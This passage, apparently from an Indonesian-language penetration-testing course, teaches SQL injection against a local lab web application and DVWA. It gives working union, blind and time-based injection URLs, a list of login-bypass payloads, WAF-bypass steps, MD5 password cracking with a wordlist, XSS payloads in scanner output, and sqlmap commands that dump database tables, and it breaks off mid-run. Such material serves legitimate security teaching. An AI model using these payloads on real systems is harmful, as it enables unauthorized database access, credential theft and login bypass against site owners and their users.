http:/ 192.168.1.32/web/view.php?postid=1 and 1=1

2. Memeriksa jumlah kolom

http://192.168.1.32/data/view.php?postid=1+order+by+1

http://192.168.1.32/data/view.php?postid=1+order+by+2

http://192.168.1.32/data/view.php?postid=1+order+by+6

http:/ 192.168.1.32/web/view.php?postid=1+order+by+7

Jika dilihat dari jumlah kolom

```
                    </div>
            <div id="content">
                    <?php
                    $artikel = "select * from tbl_artikel where id_artikel =
$_GET[postid]";
                    $artikel_query = mysql_query($artikel);
                    while ($post = mysql_fetch_array($artikel_query))
                    {
                    $id = $post['id_artikel'];
```

Isi tbl_artikel

t row: 0 Number of rows: 30 Headers every 100 rows

	1	2	3	4	5	6
	id_artikel	tanggal_publish	penulis	judul_berita	isi_berita	status
opy Delete	1	2010-10-19	admin	Pengumuman	Seminar Nasional	publish

/ Uncheck All *With selected:* Change Delete Export

Angka yang didapatkan untuk diinjeksikan?

http://192.168.1.32/data/view.php?postid=1+union+all+select+1,2,3,4,5,6

Tidak keluar

Kemudian diberikan -1

Hasil dari
http://192.168.1.32/data/view.php?postid=1+union+all+select+1,2,3,4,5,6

4. Memeriksa Versi MySQL

```
http://192.168.1.32/data/view.php?postid=-
1+union+all+select+1,2,3,@@version,5,6
```

Memeriksa user

```
http://192.168.1.32/data/view.php?postid=-
1+union+all+select+1,2,3,user(),5,6
```

Memeriksa nama database

http://192.168.1.32/data/view.php?postid=-1+union+all+select+1,2,3,database(),5,6

Memeriksa letak XAMPP

http://192.168.1.32/data/view.php?postid=-1+union+all+select+1,2,3,@@datadir,5,6

5. Mendapatkan nama table

Lakukan scroll ke bawah untuk melihat daftar table lebih lengkap

```
http://192.168.1.32/data/view.php?postid=-
1+union+select+1,2,3,table_name,5,6+from+information_schema.tables+where+
table_schema=database()
```

6. Mendapatkan kolom

http://192.168.1.32/data/view.php?postid=-1+union+select+1,2,3,column_name,5,6+from+information_schema.columns+where+table_name=0x74626C5F75736572--

http://192.168.1.32//data/view.php?postid=-1+union+select+1,2,3,concat(username,0x3a,password),5,6+from+tbl_user--

Crack menggunakan havij

Crack dengan menggunakan layanan dari https://hashkiller.co.uk/md5-decrypter.aspx

Crack menggunakan wordlist yang ada

```
Command Prompt
cobacoba2
lemari
pentium2x
abeaja
123456
helm
baju
baseball
sepakbola
cewek
buku
nokia
samsung
spidol

C:\Python27>md5crack.py
Usage: ./md5crack.py <hash> <wordlist>

C:\Python27>md5crack.py e10adc3949ba59abbe56e057f20f883e pass.txt

20 words loaded...
Password is: 123456
```

Jika sudah mendapatkan akses login maka masuk ke halaman login

Bisa dengan cara melalui web

Bisa juga mencarinya melalui havij

Melakukan login dengan user dan password yang didapatkan dari celah SQL Injection

Hasilnya berhasil masuk ke halaman admin

Cara lain untuk teknik SQL Injection untuk bypass login jika targetnya di linux Ubuntu 13.04 dengan web server APACHE

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

Sumber : http://www.securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.htm

' or true --

Hasilnya

Bypass WAF (A web application firewall)

A web application firewall (WAF) is an application firewall for HTTP applications. It applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as cross-site scripting (XSS) and SQL injection.

Sumber : https://www.owasp.org/index.php/Web_Application_Firewall

```
root@ubuntufresh:/usr/share/modsecurity-crs/base_rules# wget http://192.168.1.9/
modsecurity_crs_40_generic_attacks.conf
--2016-11-08 14:06:26--  http://192.168.1.9/modsecurity_crs_40_generic_attacks.c
onf
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27883 (27K) [text/plain]
Saving to: 'modsecurity_crs_40_generic_attacks.conf'

100%[===================================>] 27,883      --.-K/s   in 0.001s

2016-11-08 14:06:26 (32.4 MB/s) - 'modsecurity_crs_40_generic_attacks.conf' save
d [27883/27883]

root@ubuntufresh:/usr/share/modsecurity-crs/base_rules#
```

```
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules# ls -l
total 12
lrwxrwxrwx 1 root root   77 Nov  8 14:11 modsecurity_crs_40_generic_attacks.conf
 -> /usr/share/modsecurity-crs/base_rules/modsecurity_crs_40_generic_attacks.con
f
-rw-r--r-- 1 root root 5727 Jul  3  2012 README
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules# service apache2 rel
oad
 * Reloading web server config
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
                                                                          [ OK ]
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules#
```

ln -s /usr/share/modsecurity-crs/base_rules/modsecurity_crs_40_generic_attacks.conf .

```
root@kalidata:/home/kurniawan# nmap -p80 --script http-waf-detect 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-08 04:18 EST
Nmap scan report for 192.168.1.102
Host is up (0.00084s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_192.168.1.102:80/?p4yl04d3=<script>alert(document.cookie)</script>
MAC Address: 08:00:27:1D:82:E3 (Oracle VirtualBox virtual NIC)
```

```
root@dhcppc4:~# nmap -p80 --script http-waf-detect 192.168.1.102

Starting Nmap 6.25 ( http://nmap.org ) at 2016-11-06 02:22 EST
Nmap scan report for 192.168.1.102
Host is up (0.00086s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_192.168.1.102:80/?p4yl04d3=<script>alert(document.cookie)</script>
MAC Address: 08:00:27:1D:82:E3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
```

nmap -p80 --script http-waf-detect 192.168.1.102

Hasilnya terdeteksi WAF

```
root@dhcppc4:~# nmap -p80 --script http-waf-detect 192.168.1.32

Starting Nmap 6.25 ( http://nmap.org ) at 2016-11-06 02:25 EST
Nmap scan report for vpsjogja.com (192.168.1.32)
Host is up (0.00045s latency).
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:45:68:26 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
```

nmap -p80 --script http-waf-detect 192.168.1.32

Hasilnya tidak terdeteksi WAF

Jika pakai wapiti tidak terdeteksi

Jika pakai acunnetix terdeteksi

Jika ingin manual uji satu persatu file dan variabelnya

Tool yang dibutuhkan untuk bypass WAF adalah hackbar (Simple security audit / Penetration test tool)

This toolbar will help you in testing sql injections, XSS holes and site security. It is NOT a tool for executing standard exploits and it will NOT teach you how to hack a site. I

https://addons.mozilla.org/id/firefox/addon/hackbar/

http://192.168.1.102/data/view.php?postid=1+order+by+1

http://192.168.1.102/data/view.php?postid=1+order+by+2

http://192.168.1.102/data/view.php?postid=1+order+by+5

http://192.168.1.102/data/view.php?postid=1+order+by+6

http://192.168.1.102/data/view.php?postid=1+order+by+7

http://192.168.1.102/data/view.php?postid=1+union+all+select+1,2,3,4,5,6

WAF melakukan blok

Melakukan bypass WAF dengan sorot seperti di atas lalu pilih WAF Bypass lalu pilih pilihan seperti di atas

Hasilnya tampil web tapi tidak ada muncul angka untuk dilakukan injeksi

1 diganti -1, hasilnya muncul angka

Sorot angka 4, lalu pilih UNION BASED, lalu pilih DATABASE_NAMES one shot

Sorot seperti di atas lalu pilih WAF BYPASS lalu pilih pilihan seperti di atas

Hasilnya muncul berbagai nama database

Mencoba angka 3 yang tampil di web

Sorot angka yang dapat diinjeksikan

Pilih UNION BASED lalu pilih Databases lalu pilih DATABASE_NAMES one shot

Sorot seperti di atas lalu pilih WAF BYPASS lalu pilih seperti di atas

Hasilnya bisa juga selain angka 4 untuk diinjeksikan

D isini misal yang akan dicari adalah record untuk username dan password dari wordpress

Sorot angka 3 lalu pilih UNION BASED lalu pilih TABLE_NAMES one shot

Sorot seperti di atas lalu pilih WAF lalu pilih pilihan seperti di atas

Hasilnya tampil table, jika dicari akan ditemukan table wp_users

Sorot angka 3, pilih UNION BASED, lalu pilih Columns lalu pilih COLUMN_NAMES one shot

Masukkan wp_users

Lakukan BYPASS WAF seperti sebelumnya, hasilnya seperti di atas

Saat ini lihat isi record dari username dan password, caranya sorot angka 3, klik Data lalu pilih DATA one shot

Masukkan nama database

Masukkan nama table

Masukkan ID,user_login,user_pass

Sorot seperti di atas, lakukan WAF BYPASS, hasilnya seperti di atas

```
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules# ls
modsecurity_crs_40_generic_attacks.conf  README
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules# rm mod*
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules# ls
README
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules# ln -s /usr/share/mo
dsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf .
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules# service apache2 rel
oad
 * Reloading web server config
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
                                                                          [ OK ]
root@ubuntufresh:/usr/share/modsecurity-crs/activated_rules#
```

ln -s /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf .

Saat dilakukan scan dengan acunnetix, tidak ada celah SQL Injection, berbeda jika dibandingkan dengan rule modsecurity_crs_40_generic_attacks.conf

Saat melakukan order by 1 juga tidak bisa, padahal sebelumnya pakai rule general attack bisa, modsecurity_crs_41_sql_injection_attacks.conf lebih bagus daripada modsecurity_crs_40_generic_attacks.conf untuk pengamanan dari SQL injection

Jika dilakukan dengan serangan SQL Injection khusus bypass WAF, hasilnya tetap sama

38.3 Blind SQL Injection:

Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal SQL Injection, the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible.

Sumber : owasp.org - https://www.owasp.org/index.php/Blind_SQL_Injection

mid()= hampir sama fungsinya dengan substring()

char()= adalah peubah dari karakter

Binary	Oct	Dec	Hex	Glyph
010 0000	040	32	20	sp
010 0001	041	33	21	!
010 0010	042	34	22	"
010 0011	043	35	23	#
010 0100	044	36	24	$
010 0101	045	37	25	%
010 0110	046	38	26	&
010 0111	047	39	27	'
010 1000	050	40	28	(
010 1001	051	41	29	)
010 1010	052	42	2A	*
010 1011	053	43	2B	+
010 1100	054	44	2C	,
010 1101	055	45	2D	-
010 1110	056	46	2E	.
010 1111	057	47	2F	/
011 0000	060	48	30	0
011 0001	061	49	31	1
011 0010	062	50	32	2
011 0011	063	51	33	3
011 0100	064	52	34	4
011 0101	065	53	35	5
011 0110	066	54	36	6
011 0111	067	55	37	7
011 1000	070	56	38	8
011 1001	071	57	39	9
011 1010	072	58	3A	:
011 1011	073	59	3B	;
011 1100	074	60	3C	<
011 1101	075	61	3D	=
011 1110	076	62	3E	>
011 1111	077	63	3F	?

Binary	Oct	Dec	Hex	Glyph
100 0000	100	64	40	@
100 0001	101	65	41	A
100 0010	102	66	42	B
100 0011	103	67	43	C
100 0100	104	68	44	D
100 0101	105	69	45	E
100 0110	106	70	46	F
100 0111	107	71	47	G
100 1000	110	72	48	H
100 1001	111	73	49	I
100 1010	112	74	4A	J
100 1011	113	75	4B	K
100 1100	114	76	4C	L
100 1101	115	77	4D	M
100 1110	116	78	4E	N
100 1111	117	79	4F	O
101 0000	120	80	50	P
101 0001	121	81	51	Q
101 0010	122	82	52	R
101 0011	123	83	53	S
101 0100	124	84	54	T
101 0101	125	85	55	U
101 0110	126	86	56	V
101 0111	127	87	57	W
101 1000	130	88	58	X
101 1001	131	89	59	Y
101 1010	132	90	5A	Z
101 1011	133	91	5B	[
101 1100	134	92	5C	\
101 1101	135	93	5D	]
101 1110	136	94	5E	^
101 1111	137	95	5F	_

Binary	Oct	Dec	Hex	Glyph
110 0000	140	96	60	`
110 0001	141	97	61	a
110 0010	142	98	62	b
110 0011	143	99	63	c
110 0100	144	100	64	d
110 0101	145	101	65	e
110 0110	146	102	66	f
110 0111	147	103	67	g
110 1000	150	104	68	h
110 1001	151	105	69	i
110 1010	152	106	6A	j
110 1011	153	107	6B	k
110 1100	154	108	6C	l
110 1101	155	109	6D	m
110 1110	156	110	6E	n
110 1111	157	111	6F	o
111 0000	160	112	70	p
111 0001	161	113	71	q
111 0010	162	114	72	r
111 0011	163	115	73	s
111 0100	164	116	74	t
111 0101	165	117	75	u
111 0110	166	118	76	v
111 0111	167	119	77	w
111 1000	170	120	78	x
111 1001	171	121	79	y
111 1010	172	122	7A	z
111 1011	173	123	7B	{
111 1100	174	124	7C	|
111 1101	175	125	7D	}
111 1110	176	126	7E	~

Blind SQL Injection

Cek versi

http://192.168.1.32/data/view.php?postid=1 and 1=(@@version=4)

http://192.168.1.32/data/view.php?postid=1 and 1=(@@version=5)

Huruf pertama pada nama database

http://192.168.1.32/data/view.php?postid=1 and mid(database(),1,1)=CHAR(65)

Jika bukan CHAR(65) maka contoh hasilnya seperti di bawah ini

Cek nama database

http://192.168.1.32/data/view.php?postid=1 and mid(database(),1,9)=CHAR(65,68,77,73,78,95,77,72,83)

Cek user database

http://192.168.1.32/data/view.php?postid=1 and mid(user(),1,4)=CHAR(82,79,79,84)

Cek nama user database secara lengkap

http://192.168.1.32/data/view.php?postid=1 and mid(user(),1,14)=CHAR(82,79,79,84,64,76,79,67,65,76,72,79,83,84)

Cek nama table

http://192.168.1.32/data/view.php?postid=1 and (select 1 from tbl_artikel limit 0,1)=1

Cek nama kolom untuk id_artikel

http://192.168.1.32/data/view.php?postid=1 and (select substring(concat(1,id_artikel),1,1) from tbl_artikel limit 0,1)=1

Cek nama kolom untuk tanggal_publish

http://192.168.1.32/data/view.php?postid=1 and (select substring(concat(1,tanggal_publish),1,1) from tbl_artikel limit 0,1)=1

Cek data untuk kolom penulis

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,1),1,1))>96

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,1),1,1))>97

97 = a

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,1),1,1))=97

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,2),2,1))>99

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,2),2,1))>100

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,2),2,1))=100

100 = d

Time based

Time-based attacks can be used to achieve very basic test like determining if a vulnerability is present. This is usually an excellent option when the attacker is facing a deep blind SQL injection.

Sumber : http://www.sqlinjection.net/time-based/

Cek versi

Tidak ada jeda waktu

http://192.168.1.32/data/view.php?postid=1 and 1=(@@version=4) and sleep(2)--

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and 1=(@@version=5) and sleep(2)--

Huruf pertama pada nama database

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and mid(database(),1,1)=CHAR(65) and sleep(2)—

Tidak ada jeda waktu

http://192.168.1.32/data/view.php?postid=1%20and%20mid%28database%28%29,1,1%29=CHAR%2864%29%20and%20sleep%282%29--

Cek nama database

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and mid(database(),1,9)=CHAR(65,68,77,73,78,95,77,72,83) and sleep(2)--

Cek user database

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and mid(user(),1,4)=CHAR(82,79,79,84) and sleep(2)--

Cek nama user database secara lengkap

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and mid(user(),1,14)=CHAR(82,79,79,84,64,76,79,67,65,76,72,79,83,84) and sleep(2)--

Cek nama table

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and (select 1 from tbl_artikel limit 0,1)=1 and sleep(2)--

Cek nama kolom untuk id_artikel

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and (select substring(concat(1,id_artikel),1,1) from tbl_artikel limit 0,1)=1 and sleep(2)--

Cek nama kolom untuk tanggal_publish

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and (select substring(concat(1,tanggal_publish),1,1) from tbl_artikel limit 0,1)=1 and sleep(2)--

Cek data untuk kolom penulis

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,1),1,1))>96 and sleep(2)--

Tidak ada jeda waktu

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,1),1,1))>97 and sleep(2)--

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,1),1,1))=97 and sleep(2)--

97 = a

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,2),2,1))>99 and sleep(2)--

Tidak ada jeda waktu

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,2),2,1))>100 and sleep(2)--

Ada jeda waktu menunggu (Seperti ada proses)

http://192.168.1.32/data/view.php?postid=1 and ascii(substring((SELECT concat(penulis,0x3a,judul_berita) from tbl_artikel limit 0,2),2,1))=100 and sleep(2)--

100 = d

Mengenal DVWA untuk belajar eksploitasi SQL Injection dengan berbagai variasi injeksi

Jika target low security

Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)
DVWA Security
DVWA Security
Security Level
Security level is currently: low.
Low
Submit
PHPIDS

192.168.1.102/dvwa/vulnerabilities/sqli/?id=1'+and+1%3D1%23&Submit=Submit#
DVWA
Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
Vulnerability: SQL Injection
User ID: 1' and 1=1#
Submit
ID: 1' and 1=1#
First name: admin
Surname: admin
More Information

1' and 1=1#

1' and 1=1 order by 1 #

1' and 1=1 order by 2 #

1' and 1=1 order by 3 #

192.168.1.102/dvwa/vulnerabilities/sqli/?id=1'+and+1%3D1+order+by+3+%23+&Submit=Submit#

```
Unknown column '3' in 'order clause'
```

192.168.1.102/dvwa/vulnerabilities/sqli/?id=1'+and+1%3D0+union+select+null%2Ctable_name+from+information_sc

```
Surname: blogphp_templates

ID: 1' and 1=0 union select null,table_name from i
First name:
Surname: blogphp_users

ID: 1' and 1=0 union select null,table_name from i
First name:
Surname: guestbook

ID: 1' and 1=0 union select null,table_name from i
First name:
Surname: users

ID: 1' and 1=0 union select null,table_name from i
First name:
Surname: user
```

1' and 1=0 union select null,table_name from information_schema.tables#

Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)
DVWA Security
PHP Info
About

Vulnerability: SQL Injection

User ID: 1' and 1=0 union selec Submit

```
ID: 1' and 1=0 union select null, concat(table_name,0x0a
First name:
Surname: users
user_id

ID: 1' and 1=0 union select null, concat(table_name,0x0a
First name:
Surname: users
first_name

ID: 1' and 1=0 union select null, concat(table_name,0x0a
First name:
Surname: users
last_name

ID: 1' and 1=0 union select null, concat(table_name,0x0a
First name:
Surname: users
user

ID: 1' and 1=0 union select null, concat(table_name,0x0a
First name:
Surname: users
password
```

1' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

1' and 1=0 union select null,concat(first_name,0x0a,password) from users #

1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users' #

1' and 1=0 union select null,concat(first_name,0x0a,password) from users #

Jika target high security

1' OR 1=1 << error

1' OR 1=1# << tidak error

1' OR 1=1 UNION SELECT null, version()# << lihat versi

1' OR 1=1 UNION SELECT null, table_name FROM INFORMATION_SCHEMA.tables WHERE table_name LIKE 'user%'# << mirip user terlalu banyak

1' OR 1=1 UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users'# : Muncul kolom user dan password

1' OR 1=1 UNION SELECT null, concat(user,0x0a,password) FROM users# : Muncul data user dan password

Materi sisipan

Uniscan untuk scanning keberadaan bug SQL Injection

Uniscan is a simple Remote File Include, Local File Include and Remote Command Execution vulnerability scanner.

Sumber : https://sourceforge.net/projects/uniscan/

```
root@kalibr:/usr/share/uniscan# uniscan -u http://192.168.1.32/data -ds
####################################
# Uniscan project                  #
# http://uniscan.sourceforge.net/  #
####################################
V. 6.3


Scan date: 26-12-2017 3:27:38
===============================================================================================
 Domain: http://192.168.1.32/data/
 Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6
 IP: 192.168.1.32
===============================================================================================

 Crawler Started:
 Plugin name: E-mail Detection v.1.1 Loaded.
 Plugin name: External Host Detect v.1.2 Loaded.
 Plugin name: phpinfo() Disclosure v.1 Loaded.
 Plugin name: Upload Form Detect v.1.1 Loaded.
 Plugin name: FCKeditor upload test v.1 Loaded.
 Plugin name: Code Disclosure v.1.1 Loaded.
 Plugin name: Timthumb <= 1.32 vulnerability v.1 Loaded.
 Plugin name: Web Backdoor Disclosure v.1.1 Loaded.
 [+] Crawling finished, 11 URL's found!

 E-mails:

 External hosts:
 [+] External Host Found: http://static.ak.fbcdn.net
 [+] External Host Found: http://b.static.ak.fbcdn.net

 PHPinfo() Disclosure:

 File Upload Forms:
```

uniscan -u http://192.168.1.32/data -ds

-u : url

-d : enable dynamic check

-s : enable static check

```
Blind SQL Injection:
[+] Vul [Blind SQL-i]: http://192.168.1.32/data/view.php?postid=1+AND+1=1
[+] Keyword: wapiti_687474703a2f2f3139322e3136382e312e33322f646174612f766965


Local File Include:


PHP CGI Argument Injection:


Remote Command Execution:


Remote File Include:


SQL Injection:
[+] Vul [SQL-i] http://192.168.1.32/data/view.php?postid=1'
[+] Vul [SQL-i] http://192.168.1.32/data/view.php?postid=1"


Cross-Site Scripting (XSS):
[+] Vul [XSS] http://192.168.1.32/data/view.php?postid=1
Post data: &nama=<IMG SRC="javascript:alert('XSS');">&email=123&website=123&id=123&kirim=123&komentar=123

[+] Vul [XSS] http://192.168.1.32/data/view.php?postid=1
Post data: &nama=<script>alert('XSS')</script>&email=123&website=123&id=123&kirim=123&komentar=123

[+] Vul [XSS] http://192.168.1.32/data/view.php?postid=1
Post data: &nama="><IMG SRC="javascript:alert('XSS');">&email=123&website=123&id=123&kirim=123&komentar=123

[+] Vul [XSS] http://192.168.1.32/data/view.php?postid=1
Post data: &nama=<IMG SRC=javascript:alert(&quot;XSS&quot;)>&email=123&website=123&id=123&kirim=123&komentar=1
23
```

Hasilnya ditemukan bug SQL Injection seperti di atas

Bab 42

SQLMAP

42.1 SQLMAP

SQLmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

Sumber : sqlmap.org - http://sqlmap.org/

```
eb application technology: PHP 5.2.6, Apache 2.2.9
ack-end DBMS: MySQL 5.0.11
01:56:18] [INFO] fetching database names
01:56:20] [WARNING] reflective value(s) found and filtering out
vailable databases [90]:
*] aaaaaaaaaaa
*] acak
*] acute
*] adabt
*] adapt
*] admin
*] admin_mhs
*] aj
*] baru
*] blogphp
*] brewlog
*] bugs
*] cdcol
*] cobaa
*] cobaaa
*] coli
*] commence
```

sqlmap -u http://192.168.1.32/data/view.php?postid=1 --dbs

```
root@kali: /usr/share/sqlmap
File  Edit  View  Search  Terminal  Help
root@kali:/usr/share/sqlmap# ./sqlmap -u http://192.168.1.32/data/view.php?posti
d=1 -D admin_mhs --tables

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 01:58:55

[01:58:55] [INFO] resuming back-end DBMS 'mysql'
[01:58:55] [INFO] testing connection to the target url
[01:58:56] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: postid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: postid=1 AND 4449=4449
```

./sqlmap -u http://192.168.1.32/data/view.php?postid=1 -D admin_mhs --tables

```
root@kali: /usr/share/sqlmap
File  Edit  View  Search  Terminal  Help
[01:58:56] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0.11
[01:58:56] [INFO] fetching tables for database: 'admin_mhs'
[01:58:59] [WARNING] reflective value(s) found and filtering out
Database: admin_mhs
[7 tables]
+---------------------+
| tbl_artikel         |
| tbl_cln_mahasiswa   |
| tbl_komentar        |
| tbl_mhsiswa         |
| tbl_nilai_mahasiswa |
| tbl_user            |
| tbl_user_profile    |
+---------------------+

[01:58:59] [INFO] fetched data logged to text files under './output/192.168.1.32

[*] shutting down at 01:58:59

root@kali:/usr/share/sqlmap#
```

Tampilan table pada database admin_mhs

```
root@kali:/usr/share/sqlmap# ./sqlmap -u http://192.168.1.32/data/view.php?posti
d=1 -D admin_mhs -T tbl_artikel --columns

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 02:04:23

[02:04:23] [INFO] resuming back-end DBMS 'mysql'
[02:04:23] [INFO] testing connection to the target url
```

./sqlmap -u http://192.168.1.32/data/view.php?postid=1 -D admin_mhs -T tbl_artikel --columns

```
back-end DBMS: MySQL 5.0.11
[02:04:24] [INFO] fetching columns for table 'tbl_artikel' in database 'admin_mh
s'
[02:04:26] [WARNING] reflective value(s) found and filtering out
Database: admin_mhs
Table: tbl_artikel
[6 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| id_artikel      | int(5)       |
| isi_berita      | text         |
| judul_berita    | varchar(200) |
| penulis         | varchar(50)  |
| status          | varchar(20)  |
| tanggal_publish | date         |
+-----------------+--------------+

[02:04:26] [INFO] fetched data logged to text files under './output/192.168.1.32
'

[*] shutting down at 02:04:26

root@kali:/usr/share/sqlmap#
```

Tampilan kolom pada tbl_artikel

```
root@kali:/usr/share/sqlmap# ./sqlmap -u http://192.168.1.32/data/view.php?posti
d=1 -D admin_mhs -T tbl_artikel --dump

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 02:06:24

[02:06:24] [INFO] resuming back-end DBMS 'mysql'
[02:06:24] [INFO] testing connection to the target url
[02:06:25] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: postid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
```

```
[02:06:27] [WARNING] reflective value(s) found and filtering out
[02:06:27] [INFO] analyzing table dump for possible password hashes
Database: admin_mhs
Table: tbl_artikel
[1 entry]
+------------+---------+---------+---------------------+--------------+--------
---------+
| id_artikel | status  | penulis | isi_berita          | judul_berita | tanggal
_publish |
+------------+---------+---------+---------------------+--------------+--------
---------+
| 1          | publish | admin   | Seminar Nasional\r\n | Pengumuman   | 2010-10
-19      |
+------------+---------+---------+---------------------+--------------+--------
---------+

[02:06:27] [INFO] table 'admin_mhs.tbl_artikel' dumped to CSV file './output/192
.168.1.32/dump/admin_mhs/tbl_artikel.csv'
[02:06:27] [INFO] fetched data logged to text files under './output/192.168.1.32
'

[*] shutting down at 02:06:27

root@kali:/usr/share/sqlmap#
```

Tampilan isi record pada kolom

Untuk latihan dapatkan password dari user wordpress dengan celah melalui http://192.168.1.32/data

```
root@dhcppc4:~# sqlmap -u http://192.168.1.32/data/view.php?postid=1 --dbs

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 10:13:22

